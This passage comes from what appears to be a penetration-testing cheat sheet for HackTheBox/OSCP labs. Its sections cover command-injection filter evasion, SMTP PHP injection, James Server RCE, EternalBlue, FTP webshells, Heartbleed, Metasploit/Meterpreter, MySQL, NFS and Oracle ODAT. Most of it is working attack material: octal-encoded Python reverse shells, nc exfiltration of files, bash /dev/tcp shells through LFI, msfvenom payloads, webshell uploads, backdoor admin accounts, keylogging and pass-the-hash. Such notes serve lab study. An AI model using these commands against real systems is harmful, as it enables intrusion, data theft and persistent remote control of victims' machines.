echo $(printf "\55")   .. result:  -
wc -c /home/user.txt
wc+$(printf+"\55")c+/home/user.txt

Send to nc
..queues;wc+$(printf+"\55")c+${HOME}home${HOME}rohit${HOME}user.txt|nc+10.10.14.6+9000
nc -nvlp 9001
```

## octal python

* Straight from [pfsense](/04-webapps/pfsense#send-octal-code-to-injection)

```
#!/usr/bin/env python3
command = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.10',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'"
payload = ""
for char in command:
	payload += ("\\" + oct(ord(char)).lstrip("0o"))
print(payload)


\160\171\164\150\...              ..result
printf '\160\171\164\150\...'     ..verify

Inject:
https://10.x.x.x/status_rrd_graph_img.php?database=queues;printf+%27\160\171\164\150\...%27|sh
```

## spaces

* REF: [WAF](/04-webapps/03-webapp-waf#char-evasion-spaces)

```
{ls,-la,/root}
{cat,file.txt}
cat${IFS}file.txt

/&pwd/&pwd
/var/task&{cat,secret.py}

{/var/log/,-la}
/var/log&{cat,yum.log}
/var/log&{ls,//var/log/yum.log}
/&{cat,/var/log/yum.log}
/&{ls,-la,/home/target/}

Found this hiding behind ...  instead of . ..
{/var/task/...,-la}
```

## Avoid 'root' Filter with Splatting

* REF: [PrivEscBinaries](/06-linux-privesc/binaries), nodeHTB

```
----------------
Root Blocked
echo 'hello' > /tmp/root    ..decode/unzip/cat  ..fail
echo 'hello' > /tmp/*r00t   ..decode/unzip/cat  ..success

----------------
Splatting:
.backup -q secretkey /r**t/r**t.txt > root.txt
base64 -d root.txt > /tmp/secret
unzip secret
cat root/root.txt  ..success

myapp -q secretkey /r**t/r**t.txt > /tmp/encoded
myapp -q secretkey /r??t/roo?.txt > /tmp/encoded
myapp -q secretkey /r*t/r*t.txt > /tmp/encoded
```


# Email SMTP

## Read emails

```
telnet 10.x.x.x 110
nc -nv 10.x.x.x 110
USER mindy
PASS hello
STAT
RETR 2

+OK Message follows
Delivered-To: mindy@localhost
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,
Here is your password.. blah blah blah
```

## Send email with telnet

* SMTP: 25
* Bonus: Inject a php exploit.. you will need an LFI to read/execute it though
* REF: [PBX-PhpEmailExploit](/04-webapps/pbx-elastix#email-php-injection)

```
telnet $IP 25
EHLO beep.htb               ..Any hello will work
VRFY hacked@localhost       ..rejected
VRFY asterisk@localhost     ..Verified
mail from:pwn@hacked.com
rcpt to:askerisk@localhost  ..Same as Verified
data                        ..Begin Email
Subject:Testing!

Hello                                        ..test #1
<?php echo "Php success"; ?>                 ..test #2
<?php echo system($_REQUEST['command']); ?>  ..test #3

.                                            ..to end the email
quit
```

## sendmail with attachment

* Instead of telnet, EHLO, blah blah...
* Send a Reverse shell php

```
> sendmail -t asterisk@localhost -o message-file=php-reverse-shell.php -u pwnd -s $IP:25 -f mike@mike.com
```

## execute and connect

* LFI Execution Example (for after you've sent the evil email)

```
> nc -nvlp 4444
> https://$IP/vtigercrm/graph.php?current_language=../../../../../../../../var/spool/mail/asterisk%00&module=Accounts&action

.. graph.php?lang=../../../var/mail/asterisk%00&module=Accounts&command=whoami HTTP/1.1
.. graph.php?lang=../../../var/mail/asterisk%00&module=Accounts&command=bash -i >& /dev/tcp/$IP/4444 0>&1 HTTP/1.1
                                                                         |
                                                                        Goal
```

## Files

```
cat /var/mail/askerisk
```

## Thunderbird

* If you have a user/pass, you can open thunderbird to browser emails
* You might find a password that you could use for SSH too!! REF: solidstateHTB

```
thunderbird
create new account: email
mindy@$10.x.x.x
password
read emails
```

## James Server 2.3.2

* Java Apache Mail Enterprise Server (JAMES)
  * Open source SMTP and POP3 mail transfer agent and NNTP news server
  * <https://james.apache.org/>
  * Default Login: **root:root**
* Connect and Reset user-email password
* Then use [Thunderbird](#thunderbird) email to look for clues

```
nmap -p- 10.x.x.x
PORT     STATE SERVICE
25/tcp   open  smtp   ..mail server will be present too
110/tcp  open  pop3   ..mail component
119/tcp  open  nntp   ..not sure this is related
4555/tcp open  rsip   ..JAMES connect port for admin tool!!


nc $IP 4555           ..telnet works too
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
admin:admin          ..fail
root:root            ..ok

help
listusers
setpassword admin password
setpassword mindy password  ..will update a user's email password
```

## James Server Exploit 2.3.2 (RCE)

* 35513 will get you a full-shell
* Requirements:
  * Default login: root/root
  * Must have a working ssh login user/pass (limited is ok)
  * Need to update the payload for reverse-connect
* Will add a weird user account: ../../../etc/bash\_completion.d
* Sends email to our 'weird' user-directory
* When anybody logs into ssh, we will get execution
* Confused?
  * Yes, you need an ssh login already.. but if its limited it wont do much
  * This will get you a **full-shell**, instead of a limited
  * Next step is to look for PrivEsc !!

```
searchsploit james
searchsploit -m linux/remote/35513.py

vim 35513.py
payload = 'bash -i >& /dev/tcp/$MyIP/4444 0>&1'
payload = 'nc -e /bin/bash $MyIP 4444 &'     ..optional

python 35513.py $IP
python2.7 ./35513.py 10.x.x.x
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in.

ssh user@server  ..will pop the exploit
nc -nvlp 4444    ..listen
connected        ..with full shell
```

## More

* <https://book.hacktricks.xyz/pentesting/pentesting-smtp>


# Eternal Blue

## REF:

* LegacyHTB, BlueHTB, [SambaSMB](/03-getting-in/03-samba), [WindowsCmdKungFu](/07-win-privesc/windows-cmd-kungfu)

## nmap

```
---------------------
nmap search and test:

PORT     STATE  SERVICE
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds

> grep smb /usr/share/nmap/scripts/
.. smb-vuln-ms08-067.nse

> nmap --script vuln
> nmap --script smb-vuln $IP -Pn -p 445
> nmap --script smb-vuln* $IP -p 139,445
> nmap --script smb-vuln-ms08-067 $IP -Pn -p 445
> nmap --script smb-vuln-ms17-010 $IP -sV -p 445

Host script results:
| smb-vuln-ms08-067: 
| smb-vuln-ms17-010
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|     IDs:  CVE:CVE-2017-0143


```

## Eternal Checker

* <https://github.com/3ndG4me/AutoBlue-MS17-010>

```
git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue

> python3 eternal_checker.py $IP
[*] Target OS: Windows 5.1
[!] The target is not patched  .. Vulnerable!!!
```

## Eternal Blue - Metasploit

```
> sudo msfconsole
> search ms08-067
> search ms17-010  ..better

set payload windows/x64/meterpreter/reverse_tcp
use ms08_067_netapi
use ms17_010_eternalblue  ..better
set rhost $IP
set lhost $MyIP
show options
exploit

meterpreter > cd C:\Documents and Settings\john\Desktop 
meterpreter > cat user.txt
Flag !!!
```

## AutoBlue - Metasploit

* <https://github.com/3ndG4me/AutoBlue-MS17-010>
* Auto-merge - with Metasploit

```
-----------------------------------
Prep: 
cd shellcode
./shell_prep.sh 

Auto generate a reverse shell with msfvenom? (Y/n) Y
LHOST for reverse connection   : 10.10.14.128
LPORT you want x64 to listen on: 4444
LPORT you want x86 to listen on: 6666
Type 0 for meterpreter shell 1 for regular cmd shell: 1
Type 0 staged payload or 1 for stageless payload    : 0

Generating x64 cmd shell (staged)...
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.14.128 LPORT=4444
Saved as: sc_x64_msf.bin

Generating x86 cmd shell (staged)...
msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.14.128 LPORT=6666
Saved as: sc_x86_msf.bin

MERGING SHELLCODE WOOOO!!!
DONE

-----------------------------------
Listener:

> ../listener_prep.sh 

LHOST for reverse connection    : 10.10.14.128
LPORT for x64 reverse connection: 4444
LPORT for x86 reverse connection: 6666
Enter 0 for meterpreter shell or 1 for regular cmd shell: 1
Type 0 for staged payload or 1 for a stageless payload  : 0

Metasploit Starts:
Starting listener (staged)...
Starting postgresql (via systemctl): postgresql.service==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
       =[ metasploit v5.0.88-dev                          ]
+ -- --=[ 2014 exploits - 1097 auxiliary - 343 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]
[*] Processing config.rc for ERB directives.
resource (config.rc)> use exploit/multi/handler
resource (config.rc)> set PAYLOAD windows/x64/shell/reverse_tcp
resource (config.rc)> set LHOST 10.10.14.128
resource (config.rc)> set LPORT 4444
resource (config.rc)> set ExitOnSession false
resource (config.rc)> set EXITFUNC thread
EXITFUNC => thread
resource (config.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.128:4444 
resource (config.rc)> set LPORT 6666
resource (config.rc)> exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.128:6666 

msf5 exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                        Payload opts
  --  ----                    -------                        ------------
  0   Exploit: multi/handler  windows/x64/shell/reverse_tcp  tcp://10.10.14.128:4444
  1   Exploit: multi/handler  windows/shell/reverse_tcp      tcp://10.10.14.128:6666

------------------------------------
Was there another command to run? (I dont remember)

Connected!
```

## Shellprep, AutoMerge, Netcat: Exploit7

* No Metasploit
* <https://outrunsec.com/2020/07/26/cyberseclabs-eternal-walkthrough/>

```
Shell Prep, AutoMerge, listen with Netcat

./shell_prep.sh
Y
ip
4444
5555
reg cmd shell: 1
stageless payload: 1
32/64 generated, merged!!!

nc -lvnp 4444
nc -lvnp 5555  ..2 listeners

python eternalblue_exploit7.py $IP ./AutoBlue-MS17-010/shellcode/sc_all.bin
```

## AutoBlue - No MSF - zzz\_exploit.py

* Needs: mysmb.py
* If you are lucky, this might work without custom payload
* Needs to have pipe known/exposed and guest/anonymous
* Ex: legacyHTB..worked blueHTB..failed

```
> python3 zzz_exploit.py $IP

[*] Target OS: Windows 5.1
[+] Found pipe 'browser'             ..pipe was known
[+] Using named pipe: browser
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x820f3240
SESSION: 0xe10855a8
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
[*] make this SMB session to be SYSTEM
[+] current TOKEN addr: 0xe2148030
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe21480d0
[*] overwriting token UserAndGroups
[*] have fun with the system smb session!
[!] Dropping a semi-interactive shell (remember to escape special chars with ^) 
[!] Executing interactive programs will hang shell!

C:\WINDOWS\system32>whoami  ..system
```

## Exploit7 - No MSF - Manual Merge

* [Blog:Eternalblue\_exploit7.py](https://medium.com/@nimanthad/hack-the-box-blue-writeup-without-metasploit-5e05089a213d)
* <https://github.com/worawit/MS17-010>
* Create 32 and 64bit payloads. Then Merge.
* This Method will skip the "Named Pipes" headache
* Exitfunc means less chance of crash

```
nasm -f bin ./shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin
msfvenom -p windows/x64/shell_reverse_tcp lport=443 lhost=$IP --platform windowx -a x64 --format raw -o sc_x64_payload.bin EXITFUNC=thread
cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin

nasm -f bin ./shellcode/eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin
msfvenom -p windows/shell_reverse_tcp lport=443 lhost=$IP --platform windowx -a x86 --format raw -o sc_x86_payload.bin EXITFUNC=thread
cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin

python3 ./shellcode/eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin

python3 eternalblue_exploit7.py $IP sc_all.bin
nc -nlvp 443
whoami ..system
```

## AutoBlue - No MSF - zzz\_exploit.py - Named Pipes

* Custom Payload. No Metasploit.
* zzz\_exploit.py
* Needs: mysmb.py
* auxiliary/scanner/smb/pipe\_auditor .. Not allowed on OSCP
* <https://redteamzone.com/EternalBlue/>
* pipes = \[ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ] ..check the code for this!
* more pipes: <https://github.com/3ndG4me/AutoBlue-MS17-010/issues/10>
* Ex: blueHTB

```
Payload
msfvenom -p windows/shell_reverse_tcp lhost $MyIP lport 4444 -f exe > exploit.exe

vi zzz_exploit.py
USERNAME = '//'                           .. Anonymous authentication
PASSWORD = ''                             .. User/Pass if you have one
print('creating file c:\\exploit.exe on the target')
fid2 - smbConn.createFile(tid2, '/exploit.exe')
smb_send_file(smbConn, '/full/path/exploit.exe', 'C', '/exploit.exe')
service_exec(conn, r'cmd /c c:\exploit.exe')

nc -nvlp 4444
python zzz_exploit.py
python zzz_exploit.py <ip> [pipe_name]
python zzz_exploit.py 10.x.x.x            .. pipe Problem

msfconcole                                .. not allowed for OSCP
search pipes                              .. get pipe_name
use 0  
use auxiliary/scanner/smb/pipe_auditor
options
set rhosts 10.x.x.x
run
\samr \ntsvcs \lsass \netlogon \browser   .. found Pipes

python zzz_exploit.py 10.x.x.x samr    
nc -nvlp 4444
C:\WINDOWS\system32>whoami                .. system
```

## RDP Trick

```
C:\WINDOWS\system32>net user
C:\WINDOWS\system32>net user mikes hacks /add
C:\WINDOWS\system32>net localgroup administrators mikes /add

Allow Remote Access:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Kali:
> sudo apt-get update
> sudo apt-get install rdesktop
> rdesktop -u mike -p hacks legacy
```


# FTP

## Basics

* [FtpCommands](https://kb.globalscape.com/Knowledgebase/10407/Can-I-use-a-Windows-Command-Prompt-to-send-FTP-Commands-to-a-server)

```
ftp 10.x.x.x    ..connect
help            ..help
pwd             ..print working directory
dir             ..list directory (also: ls)
cd c:\data      ..change directory
lcd /tmp        ..local change directory
get flag.txt    ..download
put test.txt    ..upload
binary          ..Used for graphics, compressed files, audio
put Potato.exe  ..Can now upload EXE
```

## FtpHttp Vulnerability

* If your FTP is also a HTTP directory
* You can upload and execute from http
* REF: develHTB, [ReverseShells](/03-getting-in/03-reverseshell-php)

```
-----------------
-----------------
Webshell
locate *aspx
cp /usr/share/webshells/aspx/cmdasp.aspx .
FTP 10.x.x.x
put cmdasp.aspx
firefox http://10.x.x.x/cmdasp.aspx

-----------------
-----------------
Reverse
locate nc.exe
cp nc.exe .
FTP 10.x.x.x
put nc.exe
sudo smbserver.py share .     ..or use smbshare
nc -nvlp 4444                 ..nc listener
http://10.x.x.x/cmdasp.aspx   ..execute our nc reverse shell
cmd = \\10.x.x.x\share\nc.exe -e cmd.exe 10.x.x.x 4444

-----------------
-----------------
Payloads
msfvenom --list payloads | grep windows
msfvenom -p windows/shell_reverse_tcp lhost=$IP lport=4444 -f aspx -o shell.aspx
msfvenom -p windows/shell_reverse_tcp lhost=$IP lport=4444 -f exe -o shell.exe
ftp $IP
put shell.aspx
put shell.exe
nc -nvlp 4444
firefox http://$IP/shell.aspx
dir C:\inetpub\wwwroot
C:\inetpub\wwwroot\shell.exe
```

## REF

* [TransferFiles](/06-linux-privesc/04-transfer-files#ftp)


# heartbleed

## Basics

* <http://heartbleed.com/>
* Vulnerability in the popular OpenSSL cryptographic software library.
* Allows anyone to read the memory of the systems protected by this vulnerable OpenSSL version.
* Grabs a memory dump - Might find all kinds of goodies!!
* "How the heartbleed bug works"
  * <https://xkcd.com/1354/>
  * Meg: Server are you still there? if so reply 'HAT' with 500 letters

## Detection

```
> nmap --script vuln $IP
> sslyze --heartbleed $IP
```

## Exploit

* google: python heartbleed github

```
-----------
Download
https://gist.github.com/eelsivart/10174134#file-heartbleed-py-L8
wget https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py
git clone https://gist.github.com/10174134.git

-----------
searchsploit -w heartbleed
https://exploit-db.com/exploits/32764

-----------
python heartbleed.py
python heartbleed.py -p 443 -n 10 $IP
./heartbleed.py $IP -n 500 -a output.txt    ..winner

-n 500  ..Number of times to connect/loop (1 = default)
-a output.txt

grep '=' output.txt
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==   ..valentineHTB
```

## Example

* valentineHTB - had a ssh key password entered on 'decode.php'
* hype\_key was hidden somewhere else on the site :)
* We can grab the memory, decode the key, and ssh to the box

```
-----------
decode.php
aGVhcnxyz==                        ..found

-----------
echo 'aGVhcnxyz==' | base64 -d     ..mysecretkey
ssh -i hype_key hype@$IP           ..connect
```


# Metasploit

## REF:

* [Windows CMD Kung Fu](/07-win-privesc/windows-cmd-kungfu)
* [Veil Evasion](/03-getting-in/03-veil)

## Metasploit Framework

```
msfsearch whatever

msfconcole
search Nostromo
use exploit/multi/http/nostromo_code_exec
show options

Format:
Exploit/Payload/Auxiliary/PostModules
```

## Eternal Blue

```
ms08_067_netapi.rb
  .. eternal blue - messy, memory, could crash system
  .. get out of this as soon as you can and use psexec

ms17_010_psexec.rb   ..eternal blue - friendly version
  .. sends a file, authenticates nicely, runs that file as service
  .. Pentesters Pledge!!

```

## Venom

* [FtpHttpVulnWebshell](/03-getting-in/ftp#ftphttp-vulnerability)

```
msfvenom -l | grep windows
msfvenom --list encoders
msfvenom --list format
msfvenom --list payloads | grep java
msfvenom --help-formats

msfvenom -p windows/shell/reverse_tcp LHOST=10.10.X.X LPORT=8080 -f exe > /tmp/file.exe

python3 -m http.server   ..share with python (optional)
```

* Silly Windows Powershell "Hello":
  * Create "hi.exe"
  * Opens Windows Powershell
  * Prints "Hello World"

```
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"Write-Output 'Hello World'\"; pause" -f exe > hi.exe
```

## Listener

```
> sudo msfconsole
show exploits

     excellent - Works!!!!!
     great     - Might Work
     good      - Blah
     average   - Blah
     low       - Blah
     manual    - Blah

use exploit/multi/handler             
set PAYLOAD windows/shell/reverse_tcp  ..same as venom

show options
set LPORT 8080      ..same as venom/incoming
set LHOST 0.0.0.0   ..any
exploit -j          ..job to background
```

## Sessions

```
Ctr-C          ..kill session you are in
jobs           ..jobs listening

sessions -h    ..help
sessions -K    ..Kill all sessions
sessions -l    ..list
sessions -i 1  ..interact
```

## Shell

```
(no autocomplete)

whoami
netstat -na
tasklist
cd c:\
dir
ipconfig
ipconfig /displaydns
net user
net user bob Password1 /add
```

## PrivEsc

```
getuid    .. www
use priv  .. loading privesc
getsystem .. grab system acct
getuid    .. system
```

## Meterpreter

```
?        ..help
cd       ..change dir
lcd      ..local cd
pwd   
ls
cat
download
mkdir
edit     ..dont trust this though

sysinfo
shutdown
reboot
reg      ..registry
shell    ..go to the 'normal shell'
exit

kill
execute

screenshot -p my.jpg
screenshot -p /tmp/screen.jpg
idletime
uictl [enable/disable] [keyboard/mouse]
webcam_list
webcam_snap
record_mic

keyscan_start  ..keylogging
keyscan_dump   ..view
keyscan_stop
(Could force putty to crash, and capture their login!)
```

## Migrate

```
getuid         ..userid
getpid         ..2952

ps             ..process list
ps -h          ..process list (help)
ps -S notepad  ..search for notepad
migrate 3996   ..migrate into notepad
getpid         ..3996
```

## Looking Around

```
mtp > run post/windows/gather/win_privs cd\ & dir /b /s proof.txt type c:\pathto\proof.txt
```

## Pivot

```
use exploit1
set RHOST victim1
set PAYLOAD xyz
exploit
mtp> ctrl-z or background
msf> route add victim2subnet netmask sid
use exploit2
set RHOST victim2
set PAYLOAD xyz
exploit

Did not try this one:
MTP> portfwd add -l 5555 -p 22 -r Target2
```

## Pass the Hash

* Pass the HASH to Metasploit
* Must come from: system, ram, sam-db, ntds.dit
* Not sniffed from the network (diff salts)
* Note: Patch in 2014 Local account is now disabled over network

```
Pass the HASH to metasploit:
Must come from: system, ram, sam-db, ntds.dit
Not sniffed from the network (diff salts)
Note: Patch in 2014
Local account is now disabled over network

msfconsole
msf> use exploit/windows/smb/psexec
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> show options
msf> set RHOSTS 10.10.10.10
msf> set LHOSTS 10.10.x.x
msf> set smbuser monk
msf> set smbpass LMHASHXXX:NTHASHXXX
msf> exploit       ..error: Exploit failed ActiveRecord
msf> db_disconnect ..fix the bug in metasploit
msf> exploit       ..win!

getuid
getpid
ifconfig
shell
net user
net user bob Password1 /add
```

##


# MySql

## Easy to Try

* Sometimes people leave NO password or easy to guess.

```
su mysql        .. sometimes an actual user
mysql -u root   .. see if you can get into mysql easily
                .. easy guess 'mysql' password!!     
```

## Navigate

```
show databases;
use [DATABASE];
show tables;
select * from [TABLE];
```

## Strings MYD

```
> strings /var/lib/mysql/mysql/user.MYD   ..might get you a password 

localhost
root*D3240DFEFEDF838952C03D28
6c732c6044b7
root 127.0.0.1
root localhost
debian-sys-maint*D1461CE757B9B67AC344204A3A7FE9F9DB17A35C
68B0F4D12A2A1885

..
Stitch the two together:
root:*D3240DFEFEDF838952C03D2868B0F4D12A2A1885

john ./lab.txt
root18  ..cracked!
```

## PrivEsc

```
Privesc to read a file you shouldnt have access to!
Some of this is locked down in later releases of mysql, but worth checking!!

>> mysql -u root
>> select load_file('/var/lib/mysql-files/key.txt');
+-------------------------------------------+
| load_file('/var/lib/mysql-files/key.txt') |
+-------------------------------------------+
| 4234db90-01c6-4f10-8c81-8c0017107fc7
```


# NFS

## Network File System - Port 2049

* Allows a user on a client computer to access files over a network as if it were local

```
nmap -sV -script=nfs-showmount <tgt>
showmount -e <tgt>
```

## NFS - Find and Enum

```
nmap -v -p 111 10.x.x.0/24 -oG nfs.nmap
cat nfs.nmap | grep 111 | grep -v "Nmap" | awk '{print $2}' > nfs.ip 
nmap -sV -p111 --script=rpcinfo -iL nfs.ip
ls -l /usr/share/nmap/scripts/nfs*
nmap -p111 --script nfs* -iL nfs.ip nfs.enum
```

## NFS - Sweep

* Wildcard NSE didnt work well
* Better to run NSE individually or as a Loop

```
> nmap -sV -p111,2049 10.x.x.0/24 -oG nfs.nmap 
> grep open nfs.nmap | cut -d' ' -f2 > nfs.ip 

> nmap -sV -p111,2049 --script=rpcinfo -iL nfs.ip -oN rpc_scripts.nmap
> nmap -sV -p111 --script=nfs* -iL nfs.ip -oN nfs_scripts2.nmap

> for vuln in $(ls -1 /usr/share/nmap/scripts/nfs* | cut -d "/" -f6); 
do nmap -p 111 --script $vuln 10.11.1.72; done 

```

## NFS Root Squashing

* Network File System
* Send a **rootbash** over NFS with local root impersonating remote root
* Only works if "**no\_root\_squash**" is setup
* Remote users can: mount/access/create/modify files
* Default: Created files inherit remote user/group ID
* Even if not on the NFS server
* How NFS protects obvious privesc
* If remote user claims to be root uid=0
* NFS will squash and treat as a nobody
* Feature can be disabled!
* REF: [TarBackups](/06-linux-privesc/tar-backup-tricks)

```
-------------------------
showmount -e <tgt>
nmap -sV -script=nfs-showmount <tgt>
mount -o rw,vers=2 <tgt>:<share> <localdir>

-------------------------
lse.sh -l 2 -i   ..found nfs share
cat /etc/exports
/tmp *(rw,sync,no_root_squash)

-------------------------
Local:
showmount -e 192.x.y.z
mkdir /tmp/nfs
mount -o rw,vers=2 192.x.y.z:/tmp /tmp/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs /tmp/nfs/shell.elf

-------------------------
Target:
ls -l /tmp       ..owned by root, with suid
/tmp/shell.elf   ..executed as root
root!!
```


# Oracle

## Scan

```
80     http IIS httpd 8.5
1521   oracle-tns 11.2.0.2.0 (unauthorized)
49160  oracletns listener (requires service name)
```

## nmap

* Found the SID

```
nmap -Pn -n -sV -p1521 --script=oracle* 10.x.x.x -e tun0

PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
|
| oracle-sid-brute:
|_  XE   
```

## hydra

* Can find the SID too

```
hydra -L sids-oracle.txt -s 1521 10.10.10.82 oracle-sid
```

## Oracle Client and ODAT Setup

* <https://github.com/quentinhardy/odat>
* <https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html>

```
git clone https://github.com/quentinhardy/odat
cd odat
git submodule init
git submodule update
sudo apt-get install libaio1 python-dev alien python-pip

oracle-instantclient-basic-base    .. download 64-bit rpm
oracle-instantclient-basic-sqlplus .. download 64-bit rpm
oracle-instantclient-devel         .. download 64-bit rpm

sudo alien --to-deb *.rpm          .. convert to deb (if you need)
dpkg -i *.deb                      .. install

vim /etc/profile                   .. bunch of edits (ref: ODAT)
export ORACLE_HOME ...
export LD_LIBRARY_PATH ...
export PATH=...

sql         ..<tab>                .. reopen terminal and try
sqlplus64   ..works!

pip2 install cx_Oracle             .. may also need this
```

## Oracle SID

* Find the SID with odat or metasploit

```
--------------------------
--------------------------
odat.py -h
odat.py sidguesser -h
odat.py sidguesser -s 10.x.x.x -p 1521
python3 odat.py sidguesser -s 10.x.x.x -p 1521 --sids-file /usr/share/odat/sids.txt
found 'XE', 'XEXDB'


--------------------------
--------------------------
msfconsole
search oracle
use auxiliary/scanner/oracle/sid_brute
set RHOSTS 10.x.x.x
run
found 'XE', 'XEXDB'

search scanner/oracle
use auxiliary/scanner/oracle/oracle_login
set RHOSTS 10.x.x.x
set SID XE  ..default
set RPORTS 1512
run  ..error 'closed'
```

## Oracle Pass

* Need the SID for this to work
* odat defaults:
  * Port: 1521
  * odat/accounts/accounts.txt
* Oracle Default Creds:
* <https://docs.oracle.com/cd/A97630_01/win.920/a95490/username.htm>

```
--------------------------
--------------------------
odat.py passwordguesser -h
odat.py passwordguesser -s 10.x.x.x -d XE
odat.py passwordguesser -s 10.x.x.x -d XE -p 1521 --accounts-file myusers.txt

Normal:
cat odat/accounts/accounts.txt               ..problem: all UPPERCASE

--------------------------
--------------------------
Metasploit has a better file:
locate oracle_default_userpass               ..mixture upper/lower
cp oracle_default_userpass.txt accounts.txt  ..overwrite 
vim accounts.txt                             ..different
%s/ /\//g                                    ..sed to replace 'space' with '/'

--------------------------
--------------------------
user: scott                                  ..Found!
pass: tiger
```

## Login with sqlplus

```
sqlplus64 scott/tiger@10.10.10.82:1521/XE
sqlplus64 scott/tiger@10.10.10.82:1521/XE as sysdba

select * from session_privs;
select * from user_role_privs;
exit
```

## ODAT Upload and Execute

* Requires: SID, User, Pass, Venom

```
--------------------------
utfile (upload)

msfvenom -p windows/shell_reverse_tcp -f exe lhost=10.10.14.31 lport=4444 -o shell.exe
python3 odat.py utlfile -s 10.x.x.x -p 1521 -U "scott" -P "tiger" -d XE -n -t --sysdba --putFile \temp shell.exe /htb/Silo/shell.exe

--------------------------
externaltable (execute)

python3 odat.py externaltable -s 10.x.x.x -p 1521 -U "scott" -P "tiger" -d XE -n -t --sysdba --exec /temp shell.exe
nc -nvlp 4444
system!
```

## ODAT (with MSF)

* Quick Method:
* Straight to 'system' with ODAT

```
--------------------------
odat.py -h
odat.py utlfile -h       ..upload/download/delete
odat.py externaltable -h ..read/execute files/scripts

--------------------------
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.x.x.x LPORT=9002 -f exe -o venom.exe

odat.py utlfile -s $IP -d XE 
-U scott -P tiger 
--sysdba 
--putFile /temp venom.exe ../venom.exe

--------------------------
msfconsole  ..setup listener
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 9002
run

--------------------------
odat.py externaltable -s $IP -d XE 
-U scott -P tiger 
--sysdba 
--exec /temp venom.exe

--------------------------
mtp> getuid
system
```

## Read a File - with sqlplus

* You will need SID, User, Pass, sysdba privs

```
Login:
sqlplus64 scott/tiger@10.10.10.82:1521/XE as sysdba

SQL>

declare
  f utl_file.file_type;
  s varchar(200);
begin
  f := utl_file.fopen('/inetpub/wwwroot', 'iisstart.htm', 'R');
  f := utl_file.fopen('/root', 'root.txt', 'R');     ..optional
  utl_file.get_line(f,s);
  utl_file.fclose(f);
  dbms_output.put_line(s);
end;
/                      ..to run your command

set serveroutput ON    ..to allow output on screen
/                      ..run again (we see 200 chars)
flag!!
```

## Make a File - with sqlplus

```
SQL>

declare
  f utl_file.file_type;
  s varchar(5000) := 'Hello Friends';
begin
  f := utl_file.fopen('/inetpub/wwwroot', 'helloworld.txt', 'W');
  utl_file.put_line(f,s);
  utl_file.fclose(f);
end;
/                      ..Successfully Completed


http://10.x.x.x/helloworld.txt  ..Worked!
Hello Friends
```

## Make a Webshell - with sqlplus

```
--------------------------
--------------------------
locate aspx$
mkdir shells
cd shells
cp cmdasp.aspx .

wc -c cmdasp.aspx              ..1400 (oracle doesnt like > 1024 chars)
vi cmdasp.aspx                 ..clean it up
sed -z 's/\n//g' cmdasp.aspx   ..remove newline chars
wc -c cmdasp.aspx              ..1358
vi cmdasp.aspx                 ..clean it up
<head>                         ..remove
syle="Z..."                    ..remove
<!--comments-->                ..remove

sed -z 's/\n//g' cmdasp.aspx | wc -c  ..991 good
copy your one-liner
paste to

--------------------------
--------------------------
SQL>

declare
  f utl_file.file_type;
  s varchar(5000) := 'Paste your oneline cmdasp.aspx here';
begin
  f := utl_file.fopen('/inetpub/wwwroot', 'evilcmd.aspx', 'W');
  utl_file.put_line(f,s);
  utl_file.fclose(f);
end;
/                             .. Success


http://10.x.x.x/evilcmd.aspx  .. Worked!
whoami        .. execute!
whoami /all   .. see everyone
```

## Webshell: Reverse PowerShell

```
--------------------
locate nishang shell
cp Invoke-PowerShellTcp.ps1 .
